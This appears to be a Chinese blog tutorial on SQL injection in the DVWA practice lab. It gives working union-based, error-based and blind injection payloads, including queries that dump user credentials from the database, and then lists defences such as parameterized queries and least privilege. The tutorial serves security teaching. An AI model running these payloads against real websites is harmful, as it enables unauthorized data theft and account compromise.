SQL 注入(SQL Injection)长期位居 OWASP Top 10 榜首,是 Web 安全领域最经典、危害最大的漏洞类型之一。它允许攻击者通过构造恶意输入,篡改后端数据库查询语句,从而窃取、篡改甚至删除敏感数据。DVWA(Damn Vulnerable Web Application)作为一款专为安全教学设计的靶场,提供了从 Low 到 Impossible 四个安全等级,是理解 SQL 注入原理与利用手法的绝佳平台。本文将以 DVWA 的 SQL Injection 模块为环境,系统讲解联合查询注入、报错注入与盲注三种主流技术,并结合 XSS、CSRF 等关联风险,给出安全加固建议。
一、环境准备与漏洞原理
DVWA 默认提供 SQL Injection 页面,用户输入 ID 后,后端执行类似 SELECT first_name, last_name FROM users WHERE user_id = '$id'; 的查询。当输入未经过滤直接拼接时,攻击者即可注入任意 SQL 片段。
将 DVWA 安全等级设为 Low,进入 SQL Injection 模块。正常输入 1 返回 admin 信息,输入 1' 则报错,说明存在字符型注入点。
二、联合查询注入(Union-Based)
联合查询注入是最直观的方式,利用 UNION SELECT 将攻击者构造的查询结果合并到原查询中,直接回显到页面。
第一步:判断字段数
输入 1' ORDER BY 1#、1' ORDER BY 2#、1' ORDER BY 3#,当 ORDER BY 3 报错时,说明原查询返回 2 个字段。
第二步:确定回显位置
输入 1' UNION SELECT 1,2#,页面显示数字 1 和 2,说明两个字段均可回显。
第三步:提取数据库信息
- 获取当前数据库名:
1' UNION SELECT 1,database()# - 获取所有数据库:
1' UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata# - 获取 dvwa 库中的表:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'# - 获取 users 表的列:
1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'# - 提取账号密码:
1' UNION SELECT user,password FROM users#
通过以上步骤,攻击者可在数分钟内获取全部用户凭据。若密码为 MD5 哈希,还可通过彩虹表或在线解密快速还原明文。
三、报错注入(Error-Based)
当页面不回显查询结果,但会显示数据库错误信息时,报错注入便派上用场。其核心思想是构造让数据库主动抛出包含敏感信息的错误。
DVWA 中常用 extractvalue() 或 updatexml() 函数。例如:
1' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
页面会返回 XPATH syntax error: '~dvwa~',从而泄露数据库名。同理可替换子查询获取表名、列名和字段值:
1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),0x7e),1)#
报错注入的优势在于无需关心字段数,且在有错误回显的环境中极其高效。但需注意,MySQL 5.1 以上版本才支持 updatexml 和 extractvalue。
四、盲注(Blind Injection)
当页面既不回显数据,也不显示错误信息时,只能通过“真/假”或时间延迟来推断信息,这就是盲注。盲注分为布尔盲注和时间盲注。
布尔盲注:构造条件语句,根据页面返回内容是否正常判断真假。
1' AND (SELECT SUBSTRING(database(),1,1))='d'#
若页面返回正常,说明数据库名首字母为 d。通过逐字符遍历,可完整提取数据。为提高效率,可结合 ASCII 码与二分法:
1' AND ASCII(SUBSTRING(database(),1,1))>100#
时间盲注:当页面无论真假都返回相同内容时,使用 SLEEP() 函数制造延迟。
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(3),0)#
若页面响应延迟 3 秒,则条件为真。时间盲注速度较慢,但适用性最强。实际测试中可借助 sqlmap 等工具自动化完成,但理解手工原理对漏洞研判至关重要。
五、关联风险:XSS 与 CSRF
SQL 注入往往并非孤立存在。在 DVWA 的 XSS 模块中,反射型与存储型 XSS 同样因输入过滤不足导致。攻击者可将 SQL 注入与 XSS 结合:例如通过 SQL 注入篡改数据库中的留言内容,插入恶意 JavaScript,当其他用户浏览时触发存储型 XSS,窃取 Cookie 或发起 CSRF 攻击。CSRF 则利用用户已认证的会话,诱导其执行非预期操作,如修改密码、添加管理员。三者常在同一业务逻辑中相互放大风险。
六、安全加固建议
- 参数化查询(预编译语句):使用 PDO 或 MySQLi 的 prepare 方法,从根本上杜绝 SQL 注入。这是最有效的防御手段。
- 输入验证与白名单:对 ID 等参数强制类型转换(如
intval()),限制输入格式。 - 最小权限原则:数据库账户仅授予必要权限,避免使用 root 连接 Web 应用。
- 错误信息隐藏:生产环境关闭详细错误回显,防止报错注入。
- XSS 防御:对输出进行 HTML 实体编码,使用 CSP 内容安全策略。
- CSRF 防御:为敏感操作添加随机 Token,并验证 Referer。
- WAF 与日志监控:部署 Web 应用防火墙,记录并分析异常 SQL 关键词请求。
结语
DVWA 为安全学习者提供了一个安全的实验环境,通过联合查询、报错注入和盲注的实战演练,能够深入理解 SQL 注入的成因与利用链。掌握这些技术并非为了攻击,而是为了在开发与运维中更好地识别风险、编写安全代码。Web 安全是一个整体,SQL 注入、XSS、CSRF 往往相互交织,唯有坚持输入验证、输出编码、最小权限和纵深防御,才能构建真正健壮的应用系统。
未经允许不得转载:任鹏个人博客 » 基于 DVWA 的 SQL 注入实战:联合查询、报错注入与盲注


朋友圈点赞图在线生成源码